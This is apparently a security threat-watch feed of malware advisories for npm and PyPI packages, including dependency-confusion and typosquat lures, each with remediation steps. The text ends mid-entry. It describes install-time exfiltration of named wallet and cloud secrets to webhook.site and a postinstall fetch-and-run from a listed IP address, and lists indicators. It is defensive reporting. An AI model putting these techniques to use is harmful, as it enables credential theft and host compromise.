dependency allowlists ### [critical] usdm-minting-client dependency-confusion malware: exfiltrates crypto/cloud secrets on pip install (no CVE) https://helix.ml/threat-watch/i/usdm-minting-client-dependency-confusion-malware-exfiltrates-crypto-cloud-secrets-on-pip-install-no-cve · Supply chain · no-fix-needed · since 2026-11-16 A malicious PyPI package, usdm-minting-client (versions 0.1.0–0.1.3), is a dependency-confusion lure impersonating Ethena Labs' internal USDm/Utila minting tooling, which was never published to PyPI. Its setup.py runs an _exfil() routine during pip install and sdist builds, and the package's __init__.py repeats exfiltration on every import. It harvests environment variables (PRIVATE_KEY, MNEMONIC, USDM_PRIVATE_KEY, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, UTILA_SA_PRIVATE_KEY), .env files, and .pem/.key/.json/.yaml files under ~/.utila and ~/.config/utila, POSTing them to a hardcoded webhook.site collector. Anyone installing the package leaks wallet and cloud credentials. No patched versions exist; the package is flagged MALICIOUS (CWE-506) and should be removed. Do: Immediately remove usdm-minting-client from all environments and dependency caches; Rotate any crypto wallet keys, mnemonics, AWS, Google Cloud, and Utila service-account credentials that could have been exposed on affected machines; Audit machines that installed the package for exfiltration and residual persistence; check network logs for webhook.site traffic; Block the collector URL and webhook.site exfiltration in egress controls; Pin internal package names to private registries and configure dependency-confusion protections (namespace scoping, allowlists) ### [critical] testpackage83 (npm): malicious package downloads and executes remote binary via postinstall and on import https://helix.ml/threat-watch/i/testpackage83-npm-malicious-package-downloads-and-executes-remote-binary-via-postinstall-and-on-import · Supply chain · no-fix-needed · since 2026-11-14 The npm package testpackage83@1.0.0 is confirmed malware (CWE-506). Its postinstall script downloads an executable from http://185.212.128.180/chromedriver.bat, writes it to ~/.celest/bin/chrome (or chrome.exe), marks it executable, and launches it via puppeteer-core. The download-and-execute path is also triggered from src/browser.js on first require()/import, bypassing the CELEST_SKIP_DOWNLOAD opt-out. The artifact is fetched over plain HTTP from a bare IPv4 address with no hash, signature, or version pinning, so the host operator fully controls the executed code. Anyone installing or importing the package runs attacker-controlled code. No patched version exists; the package should be removed. Do: Remove and uninstall testpackage83 immediately; purge ~/.celest/bin and any downloaded chrome/chrome.exe artifacts; Audit machines that installed the package for compromise and rotate credentials/secrets accessible to those environments; Block 185.212.128.180 at network egress and check proxy/DNS logs for connections to it; Check lockfiles and CI caches for testpackage83@1.0.0 and rebuild from clean environments; Pin dependencies and enable npm provenance/audit tooling to detect similar download-and-execute postinstall packages ### [critical] Cygnus npm malware family: cygnus-server, cygnus-contract, @cygnusfi/sdk, @cygnus-dao/core, @cygnus-finance/sdk — full host compromise https://helix.ml/threat-watch/i/malicious-npm-packages-cygnus-server-and-cygnus-server-flagged-as-malware-full-host-compromise-risk · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub published five malware advisories (CWE-506 Embedded Malicious Code) covering the npm packages cygnus-server (GHSA-94cc-5233-8hmg), cygnus-contract (GHSA-f452-j766-8jw6), @cygnusfi/sdk (GHSA-4457-ccp3-7jpx), @cygnus-dao/core (GHSA-xvg5-r28q-w3wm) and @cygnus-finance/sdk (GHSA-c644-r8pf-rm6g). Every published version (>= 0) of each package is affected and no patched versions exist, so the packages appear to be a malicious family rather than compromised legitimate projects. GitHub states any machine where these packages were installed or run should be considered fully compromised, with attackers potentially obtaining secrets, keys and persistent access; removing the packages does not guarantee removal of attacker-deployed malware. Download volumes are low (~33–112/month where listed). No exploitation details or campaign name are given. Do: Remove cygnus-server, cygnus-contract, @cygnusfi/sdk, @cygnus-dao/core and @cygnus-finance/sdk from all machines and CI, and block/reject them in dependency resolution; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild affected systems from trusted images and audit for persistence (implants, scheduled tasks, modified startup scripts); Review logs and network traffic for signs of exfiltration or attacker command-and-control; Audit lockfiles and dependency trees for other typosquat or malicious packages introduced around the same time ### [critical] @arks-labs npm packages (@arks-labs/sdk, @arks-labs/contracts, @arks-labs/config, @arks-labs/utils) flagged as malware — full machine compromise https://helix.ml/threat-watch/i/arks-labs-npm-packages-arks-labs-sdk-arks-labs-contracts-arks-labs-config-flagged-as-malware-full-machine-compromise · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published malware advisories on 2026-11-16 for four npm packages under the @arks-labs scope: @arks-labs/sdk, @arks-labs/contracts (37 downloads/month), @arks-labs/config (42 downloads/month) and @arks-labs/utils (36 downloads/month, GHSA-fwcm-83xr-v7c9). All versions (>= 0) are affected and no patched versions exist; the packages are classified CWE-506 Embedded Malicious Code. GitHub's standard malware warning states that any computer with these packages installed or running should be considered fully compromised, with attacker control of the machine, and that removing the package does not guarantee removal of all malicious software. Anyone who installed any version of these packages is affected. There is no fix; remediation is incident response, not upgrading. Do: Rotate all secrets, keys, tokens and credentials stored on or accessible from any machine where these packages were installed, using a clean machine; Remove the packages from all projects and lockfiles, and audit for persistence mechanisms since removal may not eliminate implanted malware; Rebuild or wipe affected machines and CI environments rather than trusting them; Audit npm dependency trees and lockfiles for @arks-labs packages and block the scope in CI/registry policy; Review logs and network traffic for signs of exfiltration or command-and-control following installation ### [critical] npm malware: vite-auto-import-svg and vite-vue-path-map fully compromise installed machines https://helix.ml/threat-watch/i/npm-malware-vite-auto-import-svg-and-vite-vue-path-map-fully-compromise-installed-machines · Supply chain · no-fix-needed · since 2026-11-16 GitHub published malware advisories on 2026-11-16 for two npm packages, vite-auto-import-svg (GHSA-rrwf-2g66-3mp2, ~5,857 weekly downloads) and vite-vue-path-map (GHSA-q5wh-5wp7-j3cx). Both are classified CWE-506 embedded malicious code, affect all versions (>= 0), and have no patched versions. The advisories state any computer with the packages installed or running should be considered fully compromised, implying attacker control of the machine and access to secrets and keys; removal of the package does not guarantee removal of the malicious software. Any developer or CI environment that installed either package is affected. No fix exists; remediation is removal plus full compromise response. Do: Remove both packages from all projects, lockfiles and CI pipelines immediately; Treat every machine that installed or ran them as fully compromised: rotate all secrets, keys, tokens and credentials from a clean machine; Rebuild affected environments and audit for persistence and post-install scripts; Block the package names in npm registries/proxies and dependency review; Check logs and egress for signs of exfiltration ### [critical] Malicious npm packages ai-apis and obanai-apis flagged as malware — full compromise of installed hosts https://helix.ml/threat-watch/i/malicious-npm-packages-ai-apis-and-obanai-apis-flagged-as-malware-full-compromise-of-installed-hosts · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published two malware advisories on 2026-11-16 for the npm packages ai-apis (GHSA-4fvr-hmr9-rm3h) and obanai-apis (GHSA-cfm7-5mcw-875g), both classified CWE-506 Embedded Malicious Code with critical severity. Every version (>= 0) is affected and no patched versions exist, indicating the packages were malicious from first publication rather than compromised later. GitHub's standard malware warning states that any computer with the package installed or running should be considered fully compromised, with attacker control of secrets and keys; removal of the package does not guarantee removal of all malicious software. Any developer or CI environment that installed either package is affected; no fix exists other than removal and host remediation. Do: Remove ai-apis and obanai-apis from all projects, lockfiles, and CI caches immediately; Rotate all secrets, API keys, tokens, and credentials stored on or accessible from affected machines, using a clean machine; Rebuild or wipe affected developer workstations and CI runners rather than trusting cleanup; Audit npm dependency trees and lockfiles for these or related typosquat package names; Review access logs and network egress for signs of exfiltration since installation ### [critical] npm typosquat malware wave: astam-ifst-* packages fully compromise installed machines (no CVE) https://helix.ml/threat-watch/i/npm-typosquat-malware-wave-astam-ifst-packages-fully-compromise-installed-machines-no-cve · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub added four malware advisories for related npm packages astam-ifst-dia, astam-ifst-diakav, astam-ifst-diakavgya and astam-ifut-dakiula, all at version 1.2.2. The packages are classified as embedded malicious code (CWE-506) with no patched versions; GitHub states any machine with them installed or running should be considered fully compromised, implying attacker control, secret/key theft and possible persistence beyond simple removal. Download volumes are small (2-242/month), suggesting a typosquatting-style campaign against a narrow set of victims, but any dependent project or CI system that pulled these versions is affected. No fix exists; remediation is removal plus credential rotation and host forensics. Do: Check lockfiles and CI caches for astam-ifst-dia, astam-ifst-diakav, astam-ifst-diakavgya or astam-ifut-dakiula at 1.2.2 and remove them; Treat any machine or runner that installed them as fully compromised: rotate all secrets and keys from a clean machine; Rebuild affected hosts/containers from trusted images and audit for persistence; Block the package names in npm registries, proxies and dependency firewalls; Review npm install logs to determine exposure window and what credentials were accessible ### [critical] npm malware wave: @lymmhere/lymmexc, @risacakep/risayap, @yoshinos1/npm-shell, kerl-kpi — malicious packages fully compromise hosts https://helix.ml/threat-watch/i/npm-malware-wave-lymmhere-lymmexc-risacakep-risayap-yoshinos1-npm-shell-kerl-kpi-malicious-packages-fully-compromise-hos · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub added four malware advisories for npm packages: @lymmhere/lymmexc (GHSA-9pvx-7hc7-qc6h), @risacakep/risayap (GHSA-5jg8-2567-v8gh), @yoshinos1/npm-shell (GHSA-mm36-x4rc-79r6, ~278 downloads/month), and kerl-kpi (GHSA-gqpv-qm3x-6j29). All versions (>=0) are flagged as embedded malicious code with no patched versions. GitHub's guidance states any machine with these packages installed or running should be considered fully compromised, with attacker access to secrets and keys; removal of the package does not guarantee removal of the malicious software. Any project depending on these packages is affected; no fix exists other than removal and host remediation. Do: Remove the packages from all projects and lockfiles immediately; Treat affected machines as fully compromised: rotate all secrets, keys, and credentials from a clean machine; Rebuild/reimage affected hosts and audit for persistence; Audit npm dependencies for these and similar typosquatted/suspicious packages before installing ### [critical] Malicious npm packages: @sakataa/baileys, spencer-baileys, @shadowmd/libsignal-node, shadowmd — full system compromise https://helix.ml/threat-watch/i/malicious-npm-packages-sakataa-baileys-spencer-baileys-shadowmd-libsignal-node-shadowmd-full-system-compromise · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub published four malware advisories covering npm packages @sakataa/baileys (GHSA-8868-q7gh-f9jf, ~5,798 downloads/month), spencer-baileys (GHSA-448p-gp86-49g8, ~1,893 downloads/month), @shadowmd/libsignal-node (GHSA-xx8r-wq9m-xr4m, ~1,152 downloads/month) and shadowmd (GHSA-rp99-6r35-wmfv, ~359 downloads/month). All versions (>= 0) are flagged as embedded malicious code (CWE-506) with no patched versions; the advisories state any machine with the packages installed or running should be considered fully compromised, with control potentially handed to an outside entity. The packages appear to be typosquat-style clones of WhatsApp Baileys/libsignal libraries. Removal alone is not guaranteed to eliminate the malicious software. Do: Immediately stop using and remove @sakataa/baileys, spencer-baileys, @shadowmd/libsignal-node and shadowmd from all projects and lockfiles; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild/reimage affected machines; do not assume removal of the package removes the malware; Audit install and CI logs for any use of these packages and check for persistence mechanisms and unauthorized access; Replace with legitimate, verified WhatsApp automation libraries and pin trusted dependencies ### [critical] Malicious npm package events-runtime — full compromise of any machine where installed (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-events-runtime-full-compromise-of-any-machine-where-installed-no-cve · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published a malware advisory (GHSA-m26x-gv96-83jc) for the npm package events-runtime, flagged as CWE-506 embedded malicious code. All versions (>= 0) are affected and there are no patched versions; the package has no known source code and publishes ~5,257 downloads per month. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, meaning attackers may have obtained full control, secrets, and keys. Removal of the package does not guarantee removal of all malicious software it may have installed. Any developer, CI system, or end user who installed events-runtime is affected; there is no fix other than removal plus host-level remediation and credential rotation. Do: Immediately stop using and remove events-runtime from all projects, lockfiles, and CI pipelines; Treat every machine where it was installed or run as fully compromised; rebuild or thoroughly forensically clean hosts from trusted media; Rotate all secrets, keys, tokens, and credentials stored on or accessible from affected machines, from a clean computer; Audit npm dependencies and lockfiles for events-runtime and block/flag it in registries and CI dependency scanning; Review logs and network traffic for signs of exfiltration or attacker access following installation ### [critical] Typosquat malware: analyitcs-sdk & analytics-skd npm packages — full machine compromise, no safe version https://helix.ml/threat-watch/i/typosquat-malware-analyitcs-sdk-analytics-skd-npm-packages-full-machine-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published two malware advisories on 2026-11-16 for typosquatted npm packages: analyitcs-sdk (GHSA-jm7m-6c6q-h78g) and analytics-skd (GHSA-rf96-234g-wjf5), both apparent misspellings of a legitimate analytics SDK. Every published version (>= 0) is flagged as embedded malicious code with no patched version available. GitHub states any machine with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity. Developers or CI systems that installed these packages may have had secrets, keys and credentials exfiltrated. Removal of the package does not guarantee removal of the malicious software. No fixed versions exist; the only remediation is removal plus credential rotation and host forensics. Do: Immediately remove analyitcs-sdk and analytics-skd from all projects, lockfiles and CI caches; Rotate all secrets, API keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Rebuild affected machines or containers from trusted images; do not assume package removal cleaned the host; Audit npm dependency trees and lockfiles for typosquats of analytics SDK names; Review logs and network egress for signs of compromise since installation ### [critical] Malicious npm package augustdigital-sdk — full system compromise on install https://helix.ml/threat-watch/i/malicious-npm-package-augustdigital-sdk-full-system-compromise-on-install · Supply chain · no-fix-needed · since 2026-11-16 GitHub published a malware advisory (GHSA-4xh4-2www-94hw) for the npm package augustdigital-sdk on 2026-11-16. All published versions (>= 0) are classified as embedded malicious code (CWE-506) with no patched version available. The advisory states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, implying credential and secret theft. Anyone who installed the package — directly or as a transitive dependency — is affected. Removal of the package alone is not guaranteed to remove all malicious software. No fix exists; remediation is incident response, not upgrading. Do: Rotate all secrets, keys, and credentials stored on or accessible from affected machines immediately, from a clean computer; Isolate and rebuild any machine where the package was installed; do not rely on uninstalling it; Audit dependency trees and lockfiles for augustdigital-sdk and block/remove it from registries, CI, and caches; Review access logs and network egress for signs of exfiltration or attacker persistence; Notify security teams and consider tokens, cloud credentials, and code-signing keys on affected hosts compromised ### [critical] wasm-jzwl981 npm package is malware — full machine compromise, no safe version https://helix.ml/threat-watch/i/wasm-jzwl981-npm-package-is-malware-full-machine-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published a malware advisory (GHSA-4vr9-jfrh-4qrp) for the npm package wasm-jzwl981, flagged under CWE-506 (embedded malicious code). Every version (>= 0) is affected and no patched version exists. The advisory states that any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity, so removal of the package alone cannot be assumed to remove all malicious software. Downloads are low (~51/month), limiting reach, but any machine that installed it is at risk of secret and key theft. There is no fix; remediation is incident response: remove the package, rotate all credentials from a clean machine, and rebuild affected systems. Do: Rotate all secrets and keys stored on any machine that installed or ran wasm-jzwl981, using a different, clean computer; Remove the package and treat the machine as compromised: rebuild/reimage it rather than trusting cleanup; Audit systems and CI for the package and review access logs for signs of attacker activity; Block/flag wasm-jzwl981 in dependency allowlists and check lockfiles for it ### [critical] Malicious npm package moidevl — full system compromise on install (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-moidevl-full-system-compromise-on-install-no-cve · Supply chain · no-fix-needed · since 2026-11-16 GitHub published a malware advisory (GHSA-v68r-r4xh-39qw) for the npm package moidevl, flagged as embedded malicious code (CWE-506). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, with control potentially handed to an outside entity; attackers can steal secrets and keys. The package sees roughly 376 downloads per month. Removal of the package does not guarantee removal of the malicious software it installed. The advisory was published and reviewed on 2026-11-16; no CVE is assigned and no source code repository is known. Do: Rotate all secrets, keys, and credentials stored on any machine where moidevl was installed, using a clean machine; Remove the moidevl package from all projects and lockfiles; Rebuild or wipe affected machines; do not assume removal of the package removes the malware; Audit systems for signs of compromise and unexpected outbound connections; Block/flag moidevl in dependency scanning and CI pipelines ### [critical] Malicious npm package lodash-base-unary — full host compromise; remove and rotate all secrets (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-lodash-base-unary-full-host-compromise-remove-and-rotate-all-secrets-no-cve · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published a malware advisory for the npm package lodash-base-unary, flagged under CWE-506 (Embedded Malicious Code). All versions (>= 0) are affected and there are no patched versions, meaning the package itself is malware rather than a compromised legitimate library. GitHub warns that any computer with the package installed or running should be considered fully compromised, with potential full control handed to an outside entity, and that removing the package may not remove all malicious software it installed. The package sees roughly 697 downloads per month, so exposure is limited but real. No CVE is assigned; remediation is removal of the package plus rotation of all secrets and keys from a clean machine. Do: Consider any machine where the package was installed or run fully compromised; rotate all secrets and keys immediately from a different, clean computer; Remove lodash-base-unary from all projects and lockfiles and block it in dependency policies; Rebuild/reimage affected machines; scan for persistence and additional malicious software; Audit CI/CD and developer environments for exposure to the package; Prefer well-known maintained lodash packages and verify dependency provenance ### [critical] Malicious npm package @shadowdqj/image-mcp — full host compromise, no safe version https://helix.ml/threat-watch/i/malicious-npm-package-shadowdqj-image-mcp-full-host-compromise-no-safe-version · Supply chain · no-fix-needed · since 2026-11-16 GitHub's malware advisory database published GHSA-56mh-v6h4-jx2f on 2026-11-16 flagging the npm package @shadowdqj/image-mcp as embedded malicious code (CWE-506). Every published version (>= 0) is affected and there are no patched versions, so the package cannot be used safely at any version. GitHub's guidance states that any computer with the package installed or running should be considered fully compromised, implying the malware grants outside actors full control of the host, including access to secrets and keys. No source code repository is known. Anyone who installed this MCP image-processing package — likely developers experimenting with MCP tooling — is affected. The only remediation is removal of the package plus full incident response, since uninstalling cannot be assumed to remove all malicious software. Do: Treat any machine that installed or ran @shadowdqj/image-mcp as fully compromised; isolate it; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Remove the package and rebuild/reimage affected hosts; do not assume uninstall removes the malware; Audit for persistence, unexpected processes, and outbound connections on affected systems; Block/flag the package in npm registries, CI and dependency policies; check dependency lockfiles for it ### [critical] @shadowdu/memos-mcp npm package is malware — full machine compromise for installers https://helix.ml/threat-watch/i/shadowdu-memos-mcp-npm-package-is-malware-full-machine-compromise-for-installers · Supply chain · no-fix-needed · since 2026-11-16 GitHub's malware advisory database flagged the npm package @shadowdu/memos-mcp as containing embedded malicious code (CWE-506), published 2026-11-16. All versions (>= 0) are affected and there is no patched version — the package itself is the malware. Anyone who installed or ran it should treat the machine as fully compromised, as full control may have been handed to an outside entity. Reach appears limited (~31 downloads/month), but any secrets and keys on affected machines are at risk. Removal of the package does not guarantee removal of all malicious software it may have installed. No fix exists; remediation is removal plus credential rotation and system rebuild. Do: Stop using and uninstall @shadowdu/memos-mcp immediately; Rotate all secrets, keys, and credentials stored on affected machines, from a clean computer; Rebuild/reimage affected machines; do not assume removal removes all malware; Audit for persistence and follow-on compromise on affected systems; Check dependency trees and CI for any use of the package ### [critical] vite-utils-svg-icon (npm): malicious package compromises machines that install it; no safe version exists https://helix.ml/threat-watch/i/vite-utils-svg-icon-npm-malicious-package-compromises-machines-that-install-it-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-16 GitHub published advisory GHSA-8q65-mhm6-m4g3 on 2026-11-16 flagging the npm package vite-utils-svg-icon as malware (CWE-506, embedded malicious code). All versions (>= 0) are affected and no patched version exists. The advisory states any computer with the package installed or running should be considered fully compromised, implying the malicious code grants outside actors full control of the host, exposing secrets, keys and data. The package is low-volume (~9 downloads/month), limiting reach, but any installation is treated as a successful compromise rather than a potential one. There is no fix; remediation is removal of the package plus full incident response on affected hosts. Do: Rotate all secrets, keys, tokens and credentials stored on any machine where the package was installed, using a clean machine; Remove vite-utils-svg-icon from all projects and lockfiles and block it in dependency policy; Rebuild affected machines or perform full compromise assessment; removal alone does not guarantee cleanup; Audit npm dependencies and CI caches for the package and review access logs for signs of attacker activity ### [critical] Astia malware campaign: malicious npm packages astia-alabki-malosskiafa, astia-alao-mafadi12paf and mimecast-web-components/@mimecast-ui typosquats — full host compromise on install https://helix.ml/threat-watch/i/malicious-npm-packages-astia-alao-mafadi12paf-and-mimecast-web-components-mimecast-ui-packages-full-host-compromise-on-i · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub added malware advisories for five npm packages: astia-alabki-malosskiafa (version 1.2.2, ~241 downloads/month), astia-alao-mafadi12paf (version 1.2.2, ~238 downloads/month) and three packages impersonating Mimecast UI components — @mimecast-ui/table-store (~271 downloads/month), @mimecast-ui/charts (~310 downloads/month) and mimecast-web-components (all versions >= 0). All are classified as embedded malicious code (CWE-506) with no patched versions; GitHub warns any machine with the packages installed or running should be considered fully compromised, with attacker control of secrets and keys. Anyone who installed these packages is affected; removal alone may not eliminate the malicious software. No fix exists — the packages must be removed and credentials rotated. Do: Remove the packages from all machines and CI; treat affected hosts as fully compromised; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, from a clean computer; Audit lockfiles and dependency trees for the five package names and pin trusted alternatives; Rebuild/reimage affected systems and review for persistence mechanisms; Block the packages in your registry/proxy and monitor for related typosquat publications ### [medium] Retadup worm / CoffeeLoader: revived Retadup C2s deliver CoffeeLoader via trojanized 7-Zip 7z.dll https://helix.ml/threat-watch/i/retadup-worm-coffeeloader-resurrected-retadup-c2-spreads-coffeeloader-via-trojanized-7-zip-7z-dll · Supply chain · no-fix-needed · since 2026-11-16 Kaspersky's analysis, published 2026-11-16, describes a new CoffeeLoader variant delivered through the Retadup botnet. Retadup's C2 domains, disrupted by French authorities in 2019, were re-registered by an unidentified party about two years before the analysis; they first served SmokeLoader and from early 2025 served CoffeeLoader. Infection starts with an NSIS installer that drops a patched 7-Zip 7z.dll and runs it through rundll32; that DLL contains self-decrypting shellcode, a new version of the Armoury packer, which now uses OpenGL instead of OpenCL for GPU-based decryption and then fetches CoffeeLoader. Persistence uses a Run key plus a StartupApproved entry that prevents the autorun being disabled in Task Manager, and the code is injected into a legitimate system process. Kaspersky says its products blocked Retadup worm infection attempts on around 15,000 systems in the first three quarters of 2026, mostly in Peru, Angola, Russia and Bolivia. The sources do not say how the installer reaches victims in this campaign or whether this variant spreads by itself; Retadup historically spread via USB drives. No CVE is involved and no vendor fix is discussed; the mitigation is detection and blocking. Do: Block known Retadup/CoffeeLoader C2 indicators and domains from your egress filtering; Detect and alert on rundll32.exe loading suspicious 7z.dll or ArmouryAIOSDK.dll files and injection into dllhost.exe/WerFault.exe/svchost.exe; Restrict and monitor USB drive usage; scan removable media for worm propagation; Check Run registry autorun keys under %PROGRAMDATA%/%LOCALAPPDATA% subfolders named with eight hex digits; Ensure endpoint AV/EDR (e.g., Kaspersky and others) signatures are current to catch the Armoury-packed payloads ### [critical] augis npm malware campaign: augis-lepaod-matiparahia, augis-po9r-munafpipoa, augis-pod9r-nutyas, augis-pomdoi9r-nutisafi — malicious packages fully compromise machines https://helix.ml/threat-watch/i/augis-npm-malware-campaign-augis-lepaod-matiparahia-augis-po9r-munafpipoa-augis-pod9r-nutyas-augis-pomdoi9r-nutisafi-mal · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub added four malware advisories (GHSA-89x5-qjj6-45mv, GHSA-g883-gm2g-xchg, GHSA-6r46-rjqg-r8p8, GHSA-39pc-r8f9-6m59) for four npm packages — augis-lepaod-matiparahia, augis-po9r-munafpipoa, augis-pod9r-nutyas and augis-pomdoi9r-nutisafi — all at version 1.0.0, flagged CWE-506 embedded malicious code. The advisories state any machine with these packages installed or running should be considered fully compromised, implying full remote control by an outside party and exposure of secrets and keys. No patched versions exist; removal alone may not eliminate the malware. Reach is small (1–19 downloads/month per package), but anyone who installed them is affected. Remediation is uninstall plus credential rotation and system rebuild. Do: Remove the packages and rebuild/reimage affected machines from trusted media; Rotate all secrets, keys, tokens and credentials stored on or accessible from affected machines, using a clean computer; Audit install logs and CI caches for the package names and check for persistence mechanisms; Block/quarantine the four package names in npm registries and dependency firewalls ### [critical] npm typosquat malware: augis-pomo9r-nusfida & augis-pomoi9r-nc — full machine compromise, rotate secrets https://helix.ml/threat-watch/i/npm-typosquat-malware-augis-pomo9r-nusfida-augis-pomoi9r-nc-full-machine-compromise-rotate-secrets · Supply chain · no-fix-needed · since 2026-11-16 GitHub's advisory database published two malware advisories on 2026-11-16 for npm packages augis-pomo9r-nusfida (GHSA-27ch-2mmj-q5wx, ~127 downloads/month) and augis-pomoi9r-nc (GHSA-7qrf-v9pj-7cwh, ~12 downloads/month), both at version 1.0.0. Both are flagged CWE-506 embedded malicious code with no patched versions and no known source code. GitHub's standard malware guidance states any machine with the package installed or running should be considered fully compromised, with attacker access to secrets and keys. The near-identical names suggest a typosquatting or automated malicious-publish campaign. No fix exists; removal of the package does not guarantee removal of attacker persistence. Do: Check lockfiles and CI caches for augis-pomo9r-nusfida and augis-pomoi9r-nc; quarantine and rebuild any machine or runner where either was installed; Rotate all secrets, tokens, SSH keys and credentials stored on affected machines, from a clean device; Reimage or rebuild compromised hosts rather than trusting package removal; Audit npm accounts and dependency resolution for similarly named typosquat packages; Block the package names in registry proxies and internal allowlists ### [critical] npm malware: supunmd-bail and related Supun packages — malicious npm packages fully compromise hosts (no CVE) https://helix.ml/threat-watch/i/npm-malware-supunmd-bail-and-related-supun-packages-malicious-npm-packages-fully-compromise-hosts-no-cve · Supply chain · no-fix-needed · since 2026-11-16 On 2026-11-16 GitHub published four malware advisories (CWE-506 Embedded Malicious Code) covering npm packages supunmd-bail, @mr-supun-fernando/news-scrap, @mr-supun-fernando/supunmd-bail and supun-baileyz. Every published version is affected and no patched versions exist. GitHub states any computer with these packages installed or running should be considered fully compromised, with control potentially given to an outside entity; removing the package does not guarantee removal of malicious software. Combined downloads are roughly 2,000/month, so exposure is limited but real. There is no fix; remediation is removal plus full incident response including secret rotation and host rebuild. Do: Remove all four packages from every machine and CI environment immediately; Treat affected hosts as fully compromised: rotate all secrets, keys, tokens and credentials from a clean machine; Rebuild/reimage affected systems; do not rely on package removal alone; Audit dependency lockfiles and install history for the packages and block them in registry policy; Review logs for post-install script execution and outbound connections around install times ### [critical] @zeppeliorg/wbails npm package is malware — full machine compromise, no safe version exists https://helix.ml/threat-watch/i/zeppeliorg-wbails-npm-package-is-malware-full-machine-compromise-no-safe-version-exists · Supply chain · no-fix-needed · since 2026-11-16 GitHub's malware advisory database has flagged the npm package @zeppeliorg/wbails as embedded malicious code (CWE-506). Every published version (>=0) is affected and no patched version exists, so any installation is unsafe. The advisory warns that any computer with the package installed or running should be considered fully compromised, with full control potentially handed to an outside entity — implying credential and secret theft. The package reportedly sees about 12K downloads per month, so a meaningful number of developer machines and CI environments may be exposed. Removal of the package alone is not guaranteed to remove all malicious software it may have installed. Published and reviewed 2026-11-16. Do: Treat any machine where the package was installed or run as fully compromised; rotate all secrets and keys from a clean machine; Remove @zeppeliorg/wbails from all projects, lockfiles and CI pipelines and block the package; Rebuild affected machines/containers from trusted images and scan for persistence; Audit logs and network egress for signs of exfiltration or attacker access ### [critical] ldk-node PyPI malware: fake compatibility wrapper exfiltrates env vars and system info (0.7.9999) https://helix.ml/threat-watch/i/ldk-node-pypi-malware-fake-compatibility-wrapper-exfiltrates-env-vars-and-system-info-0-7-9999 · Supply chain · no-fix-needed · since 2026-11-16 A malicious PyPI package, ldk-node version 0.7.9999, was published as a fake compatibility wrapper for the non-Python ldk-node project, apparently a dependency-confusion attack. On import, the package exfiltrates basic environment information (IP address, username) plus all environment variables beginning with LDK*. The campaign (2026-11-ldk-node) was identified by kam193 and catalogued by OpenSSF and the GitHub Advisory Database (GHSA-vxjx-jrjx-wwm8, CWE-506). No patched version exists; the package is malware and should be removed, not upgraded. Anyone who installed ldk-node 0.7.9999 from PyPI should treat LDK* environment variables and host metadata as potentially leaked and rotate any secrets they may have contained. Do: Remove ldk-node 0.7.9999 from all environments and block/allowlist the package in PyPI dependencies; Audit environments where it was imported; treat all LDK* environment variables as compromised and rotate any credentials or keys they contained; Review logs for outbound connections made at import time and check for further exfiltration; Pin dependencies and verify package provenance to prevent dependency-confusion installs ### [critical] internallib npm malware family (internallib_v647, internallib_v811, internallib_v79): malicious packages execute attacker code on npm install https://helix.ml/threat-watch/i/internallib-v647-internallib-v811-npm-malicious-packages-install-unauthenticated-http-tarball-from-internal-ip-enabling · Supply chain · no-fix-needed · since 2026-11-13 A malicious npm package family under the internallib name was flagged via the OpenSSF malicious-packages database and GitHub advisories. internallib_v647@1.0.3 and internallib_v811@1.0.1 declare a dependency, internallib-helper, as a plain-HTTP tarball URL pointing at a bare internal IP (http://10.0.77.5:8000/...), with no version pin, integrity hash, or TLS; on npm install, npm fetches whatever bytes that endpoint serves and runs lifecycle scripts, giving anyone controlling or MITMing traffic to that host arbitrary code execution on the installing machine. The shipped code is a trivial stub; the manifest line is the install-time execution vector, with naming mirroring a dependency-confusion lure. A third package, internallib_v79 (~221 downloads/month, all versions), is confirmed malware per GHSA-gpm5-494f-6gpq, with any installed host considered fully compromised. No patched versions exist; affected packages must be removed and hosts treated as compromised. Do: Search lockfiles and installed node_modules for internallib_v647, internallib_v811, internallib_v79, and internallib-helper; remove and rebuild from clean sources if found; Treat any host that installed these packages as fully compromised: rotate all secrets and keys stored there immediately from a different machine, and reimage if possible; Audit package.json manifests for dependencies declared as http:// tarball URLs, especially on private IPs, and block them in CI; Check build and developer hosts for signs of lifecycle-script execution (postinstall payloads, unexpected processes, outbound connections); Enforce npm integrity/lockfile checks, disallow non-registry tarball sources, and require TLS for any internal package mirror ### [medium] Quantum Systems QBase: reported malware in ground-control update; Bundeswehr fleet grounded, then resumed https://helix.ml/threat-watch/i/quantum-systems-qbase-malware-in-update-german-bundeswehr-drones-grounded-then-cleared-to-fly · Supply chain · unknown · since 2026-11-13 Quantum Systems, a German drone maker that supplies Ukraine, says it spotted a cyberattack at the end of October 2026 and that the threat was contained with its IT and security teams working with the authorities. Der Spiegel, as relayed by The Register, reports that malware was detected in an update to QBase, the company's ground-control software, and that the update reached servers belonging to the Bundeswehr and other customers without directly infecting the drones. The Bundeswehr reportedly grounded its 